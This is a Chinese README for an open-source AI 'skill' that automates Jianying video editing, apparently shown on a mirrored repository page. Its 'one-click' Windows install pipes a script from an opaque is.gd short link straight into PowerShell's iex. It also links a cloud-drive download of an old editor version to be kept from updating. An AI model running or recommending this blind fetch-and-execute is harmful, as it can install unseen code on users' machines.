# webb-jianying
**Repository Path**: queue001/webb-jianying
## Basic Information
- **Project Name**: webb-jianying
- **Description**: 剪映 Skill | AI 全自动用你的剪映替你剪辑
- **Primary Language**: Unknown
- **License**: MIT
- **Default Branch**: main
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 0
- **Forks**: 1
- **Created**: 2026-10-11
- **Last Updated**: 2026-10-11
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
# 剪映（jianying） Skill | AI 全自动用你的剪映替你剪辑
这是一个能实现自动剪辑的 skill 项目。剪辑师只需用自然语言告诉 AI 你想做什么视频，它就能帮你完成从**写文案、配音、加字幕、选音乐、上特效到最终导出**的整套流程。
支持主流 AI 编辑器：Antigravity / Trae / Claude Code / Cursor。
---
## 目录
- [平台支持状态](#平台支持状态请先阅读)
- [核心功能矩阵](#核心功能矩阵)
- [做不到什么](#做不到什么)
- [快速开始](#-快速开始-quick-start)
- [环境准备](#-环境准备必读)
- [文件夹说明](#-文件夹说明)
- [常见问题](#-常见问题-faq)
- [如何更新](#-如何更新-update)
- [核心特性](#-核心特性-v3-进化版)
- [许可证](#许可证)
---
## 平台支持状态（请先阅读）
目前推荐环境是 **Windows + 剪映专业版 5.9 或更低版本**。这是当前开发、测试和自动导出覆盖最完整的组合。
| 平台 | 当前状态 | 说明 |
| --- | --- | --- |
| Windows | :white_check_mark: 推荐使用 | 支持草稿生成、素材导入、字幕、配音、云端素材下载、录屏和自动导出。自动导出依赖剪映 5.9 或更低版本。 |
| macOS | :warning: 实验性支持 | 已做路径探测、草稿目录和 FFmpeg/录屏相关适配，但没有完整端到端验证；自动导出不支持 macOS，需要在剪映里手动导出。 |
| CapCut 国际版 | :x: 不支持 | 当前只适配国内版剪映专业版（JianyingPro），不要按本项目流程尝试 CapCut 国际版。 |
| 手机端剪映 | :x: 不支持 | 仅面向桌面版草稿工程。 |
> 如果你是 Mac 用户，请把本项目当作"可尝试生成草稿"的实验功能，而不是完整可交付链路。遇到草稿无法识别、素材路径不兼容或导出问题时，建议切换到 Windows 环境继续验证，避免在 Mac 端反复排查自动导出。
### 平台支持概览
```
Windows ████████████████████████████████ 100% 推荐
macOS ████████████░░░░░░░░░░░░░░░░░░░░ 40% 实验性
CapCut ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0% 不支持
手机端 ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0% 不支持
```
---
## 核心功能矩阵
| 功能 | 说明 | 状态 |
| --- | --- | --- |
| **素材导入** | 视频、音频、图片一句话丢进时间轴，自动排列 | :white_check_mark: |
| **AI 配音** | 输入文案自动生成语音，支持剪映原生音色和微软语音 | :white_check_mark: |
| **字幕生成** | 根据配音自动拆句、逐句对齐字幕，支持打字机等动画效果 | :white_check_mark: |
| **自动配乐** | 本地音乐或剪映素材库的云端音乐曲 | :white_check_mark: |
| **特效/转场/滤镜** | 按名字搜索剪映自带的特效库，一句话应用 | :white_check_mark: |
| **网页动效转视频** | 用 HTML/JS/Canvas 写动画，自动录屏变成视频素材导入剪映 | :white_check_mark: |
| **录屏 + 智能变焦** | 录制屏幕操作，自动给鼠标点击位置加缩放和红圈标记 | :white_check_mark: |
| **影视解说** | AI 分析视频内容，自动生成分镜脚本并合成解说视频 | :white_check_mark: |
| **自动导出** | 剪完直接导出 MP4，支持 1080P 到 4K | :white_check_mark: |
| **关键帧动画** | 缩放、位移、透明度等关键帧，做出运镜效果 | :white_check_mark: |
| **复合片段** | 像嵌套工程一样，把多个子项目组合成一个完整视频 | :white_check_mark: |
### 工作流程图
```
┌─────────────────────────────────────────────────────────────────┐
│ AI 全自动剪辑工作流 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 用户输入 AI 处理 Skill 引擎 剪映输出 │
│ │
│ ┌────────┐ ┌──────────┐ ┌──────────┐ ┌────────┐│
│ │ 自然语言 │ ──▶ │ AI 思考 │ ──▶ │ Python │ ──▶ │ 剪映草稿││
│ │ 指令 │ │ 生成指令 │ │ Wrapper │ │ JSON ││
│ └────────┘ └──────────┘ └──────────┘ └────────┘│
│ │ │ │
│ ▼ ▼ │
│ ┌──────────┐ ┌──────────┐ │
│ │ 文案生成 │ │ 自动导出 │ │
│ │ 配音合成 │ │ 1080P/4K │ │
│ │ 字幕对齐 │ └──────────┘ │
│ │ 素材匹配 │ │
│ └──────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
### 功能覆盖雷达图
```
素材导入
10
│
关键帧 9 ──┼── 10 AI配音
╱ │ ╲
╱ │ ╲
自动导出 9 ─┤ 10 ├─ 10 字幕生成
│ │ │
╲ │ ╱
╲ │ ╱
特效滤镜 ──┼── 10 自动配乐
10
网页转视频
```
---
## 做不到什么
- **不是剪映的替代品** -- 最终的视频渲染、预览回放还是靠剪映本身完成的，这个工具负责的是"自动帮你把时间轴搭好"，帮你点击导出
- **不能用剪映的实时特效** -- 像智能抠图、美颜、语音识别字幕这些需要剪映 GPU 实时处理的功能，目前无法通过代码调用
- **不能操作剪映的全部 UI 按钮** -- "一键成片""图文成片"这类剪映内置的 AI 功能暂时没法自动触发
- **自动导出依赖老版本** -- 自动导出功能目前只支持 **剪映 5.9 及以下版本**（6.0+ 弹窗太多会干扰自动化脚本）
- **Mac 端不是完整支持** -- macOS 目前只做了部分路径、草稿和录屏适配，缺少完整端到端验证，且不支持自动导出
- **不支持手机端剪映 / CapCut 国际版** -- 只能配合国内版桌面剪映专业版使用
---
## 🚀 快速开始 (Quick Start)
### 1. 安装 Skill (Install)
建议优先使用 Windows 一键脚本，它会自动处理代码下载、目录结构和所有 Python 库。
**🔥 Windows 用户一键安装:**
在 PowerShell 中运行：
```powershell
irm is.gd/rpb65M | iex
```
**手动安装 (Git Clone):**
**🤖 Antigravity / Gemini Code Assist:**
```bash
git clone https://github.com/webb-chen/webb-jianying.git .agent/skills/jianying-editor
```
**🚀 Trae IDE:**
```bash
git clone https://github.com/webb-chen/webb-jianying.git .trae/skills/jianying-editor
```
**🧠 Claude Code:**
```bash
git clone https://github.com/webb-chen/webb-jianying.git .claude/skills/jianying-editor
```
**💻 Cursor / VSCode / 通用:**
```bash
# 通用方式：安装到根目录 include 列表
git clone https://github.com/webb-chen/webb-jianying.git skills/jianying-editor
```
### 多 IDE 安装支持矩阵
| IDE | 安装路径 | 状态 |
| --- | --- | --- |
| Antigravity / Gemini | `.agent/skills/jianying-editor` | :white_check_mark: 支持 |
| Trae IDE | `.trae/skills/jianying-editor` | :white_check_mark: 支持 |
| Claude Code | `.claude/skills/jianying-editor` | :white_check_mark: 支持 |
| Cursor / VSCode | `skills/jianying-editor` | :white_check_mark: 支持 |
### 2. 🛠️ 资源下载与版本准备 (Essential Resources)
⚠️ **重要提示**：本 Skill 的自动导出功能深度依赖 **剪映 5.9** (或更低版本)。
⬇️ **[点击下载 剪映专业版 5.9 (夸克网盘)](https://pan.quark.cn/s/81566e9c6e08)**
*(下载后请按照说明禁止更新)*
### 3. 试试这样跟 AI 说 (Use Cases)
**随便剪一个试试**
> "帮我随便剪一个视频看看效果"
**做个 Vlog**
> "把 D:\旅行素材 这个文件夹里的视频和照片帮我剪成一个 Vlog，配个轻快的音乐，加上标题'周末露营记'"
**写文案 + 配音 + 出片**
> "帮我写一段关于'秋天的第一杯奶茶'的短视频文案，配上温柔女声旁白和字幕，再找个温馨的 BGM"
**影视解说**
> "这个视频 D:\电影片段.mp4 ，帮我做一个 60 秒的影视解说"
**录个软件教程**
> "我要录一段操作教程，帮我启动录屏，录完自动导入剪映"
**做个炫酷的片头动画**
> "帮我用网页写一个星空粒子的片头动画，5 秒钟，然后导入到剪映里"
**字幕配画面**
> "我有一段旁白录音 旁白.mp3，帮我识别出字幕，然后从 F:\素材库 里自动挑画面配上去"
**用剪映曲库的音乐**
> "我想用剪映里那首'阳光旅途'当背景音乐"（可以通过脚本从历史工程中自动挖掘音乐 ID）
**多角色对话剪辑**
> "帮我剪一段两个人的对话，A 角色用成熟男声，B 角色用甜美女声，自动配上各自的字幕"
### 使用场景分布图
```
Vlog 制作 ████████████████████░░░░░░░░░░ 67%
影视解说 ██████████████████░░░░░░░░░░░░ 60%
文案配音出片 ███████████████████░░░░░░░░░░ 63%
软件教程录屏 ██████████████░░░░░░░░░░░░░░░ 47%
片头动画 ████████████████░░░░░░░░░░░░░ 53%
字幕配画面 ████████████████████░░░░░░░░ 67%
多角色对话 ██████████░░░░░░░░░░░░░░░░░░ 33%
随便试试 ██████████████████████████░░ 87%
```
---
## 📦 环境准备 (必读)
为了让 Skill 正常工作，您还需要告知 AI 再做一点工作：
### 1. 安装 Python 依赖
请在终端运行以下命令以确保所有自动化功能正常工作：
```bash
# 安装 Python 依赖
pip install -r requirements.txt
# 初始化网页捕获环境 (Web-to-Video 功能必填)
playwright install chromium
```
Skill 默认会自动探测您的剪映安装位置，如果探测失败，请在使用时直接告诉 AI：
- **Windows**: `C:\Users\Administrator\AppData\Local\JianyingPro\User Data\Projects\com.lveditor.draft`
- **macOS（实验性）**: `/Users/你的用户名/Movies/JianyingPro/User Data/Projects/com.lveditor.draft`
> "我的剪映草稿目录在 D:\JianyingPro\..."
> Mac 用户注意：如果你的剪映实际草稿目录不是上面的路径，请优先手动确认草稿目录。即使草稿生成成功，导出仍需要打开剪映手动完成。
### 环境依赖树
```
剪映 Skill 环境依赖
│
├── Python 3.8+
│ ├── requirements.txt
│ │ ├── pyJianYingDraft (内置 vendor)
│ │ ├── uiautomation (自动导出)
│ │ ├── playwright (网页转视频)
│ │ ├── pynput (录屏控制)
│ │ ├── edge-tts (微软语音)
│ │ └── pymediainfo (媒体信息)
│ └── playwright install chromium
│
├── 剪映专业版 5.9 (或更低)
│ └── 草稿目录自动探测
│
└── 操作系统
├── Windows (完整支持)
└── macOS (实验性)
```
---
## 📂 文件夹说明
| 目录/文件 | 说明 |
| --- | --- |
| `SKILL.md` | 给 AI 看的说明书 |
| `references/` | 参考文档与示例资料（非运行时依赖） |
| `scripts/vendor/` | 运行时内置依赖（如 `pyJianYingDraft`） |
| `tools/recording/` | **录屏神器**，都在这里面 |
| `assets/` | 演示用的测试视频和音乐 |
| `data/` | 云端素材库数据（音乐、音效、文字样式等） |
| `examples/` | 示例脚本（Vlog、影视解说、全自动导出等） |
| `prompts/` | AI 提示词模板 |
| `rules/` | 规则文件（音频、特效、文本、录屏等） |
| `docs/` | 开发文档 |
### 项目结构图
```
webb-jianying/
├── .github/ # CI/CD 工作流
├── assets/ # 演示素材
│ ├── artistEffect/ # 特效素材
│ ├── audio.mp3 # 演示音频
│ ├── video.mp4 # 演示视频
│ ├── cover.jpg # 封面图
│ └── ...
├── data/ # 素材数据库
│ ├── cloud_music_library.csv
│ ├── tts_speakers.csv
│ └── ...
├── docs/ # 开发文档
├── examples/ # 示例脚本
│ ├── my_first_vlog.py
│ ├── auto_exposure_align_demo.py
│ └── ...
├── prompts/ # AI 提示词
├── references/ # 参考文档
├── rules/ # 规则文件
│ ├── audio-voice.md
│ ├── effects.md
│ ├── recording.md
│ └── ...
├── scripts/ # 核心脚本
│ ├── core/ # 核心操作
│ ├── utils/ # 工具函数
│ ├── vendor/ # 内置依赖
│ ├── auto_exporter.py
│ ├── smart_zoomer.py
│ └── ...
├── tests/ # 测试
├── tools/ # 工具
│ └── recording/ # 录屏工具
├── index.html # 在线展示页
├── SKILL.md # AI 说明书
├── requirements.txt # Python 依赖
└── README.md # 本文件
```
---
## ⚠️ 常见问题 (FAQ)
1. 看不到新生成的草稿？
剪映软件不会实时刷新文件列表。生成草稿后，请**重启剪映**，或者随便点进一个旧草稿再退出来，就能看到新的了。
2. 自动导出失败？
自动导出脚本模拟了鼠标键盘操作。
- 运行导出时，请**不要**动鼠标和键盘。
- 目前仅支持 **Windows + 剪映 5.9 或更早版本** (新版本弹窗太多容易干扰脚本)。
- macOS 不支持自动导出，请在剪映中手动导出。
3. Python 依赖安装失败？
部分 Python 版本（如 3.13）下 `uiautomation` 会出现依赖问题，推荐使用 3.8、3.10 或 3.11。
4. 草稿目录探测失败？
Skill 默认会自动探测剪映安装位置。如果探测失败，请直接告诉 AI 你的草稿目录路径，例如："我的剪映草稿目录在 D:\JianyingPro\..."
---
## 🔄 如何更新 (Update)
当有新功能发布时，您可以输入以下命令一键更新：
```bash
cd .agent/skills/jianying-editor
git pull
```
> 如果是通过其他 IDE 安装的，请进入对应的安装目录执行 `git pull`。
---
## 🌟 核心特性 (V3 进化版)
- **顶级素材接入**:
- **banana (Imagen 3)**: 正式接入，支持一行指令生成 4K 电影级神兽/场景贴纸。
- **Grok 3 (Media)**: 视觉天花板级图生视频，让你的静态素材瞬间化身史诗大片。
- **多轨管理**：支持视频、音频、字幕、贴纸、特效无限叠加，像专业剪辑师一样操作。
- **全自动闭环**: 从 AI 剧本创作到素材生成，再到剪映草稿合成，一键全自动。
- **智能变焦**: 独家的 Smart Zoom 功能，能把普通的录屏自动变成"带镜头感"的演示视频。
- **工程自修复**: 强大的 `Auto-healing` 机制，自动识别并修复由于版本冲突或异常关闭导致的损坏草稿。
- **网页转视频 (Web-to-Video)**: 完美支持 Canvas/JS 动效实时捕捉，让 Web 的无限创意瞬间化身视频 VFX 素材。
- **自动导出**：内置自动化脚本，支持一键导出 1080P/4K 视频，彻底解放双手。
### 核心特性架构图
```
┌─────────────────────────────────────────────────────────────┐
│ 剪映 Skill 核心架构 │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 多轨管理 │ │ 全自动 │ │ 智能变焦 │ │ 工程自修复│ │
│ │ │ │ 闭环 │ │ │ │ │ │
│ │ 视频/音频│ │ AI剧本 │ │ 鼠标跟随│ │ 自动检测 │ │
│ │ 字幕/特效│ │ 素材生成│ │ 缩放特写 │ │ 修复损坏 │ │
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
│ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 网页转视频│ │ 自动导出 │ │ AI配音 │ │ 素材接入 │ │
│ │ │ │ │ │ │ │ │ │
│ │ HTML/JS │ │ 1080P │ │ 剪映原生│ │ banana │ │
│ │ Canvas │ │ 4K MP4 │ │ 微软语音│ │ Grok 3 │ │
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
```
### 自动化流水线
```
输入阶段 处理阶段 输出阶段
┌────────┐ ┌──────────────┐ ┌──────────┐
│ 自然语言 │────▶│ AI 理解意图 │ │ 剪映草稿 │
│ 指令 │ └──────┬───────┘ │ JSON文件 │
└────────┘ │ └────┬─────┘
▼ │
┌──────────────┐ │
│ 调用 Skill │ │
│ Python API │ ▼
└──────┬───────┘ ┌──────────┐
│ │ 自动导出 │
▼ │ MP4视频 │
┌──────────────┐ └──────────┘
│ 生成剪映草稿 │
│ 时间轴+素材 │
│ 字幕+特效 │
└──────────────┘
```
---
## 许可证
本项目基于 [MIT License](LICENSE) 开源。
---
© 2026 webb. All rights reserved.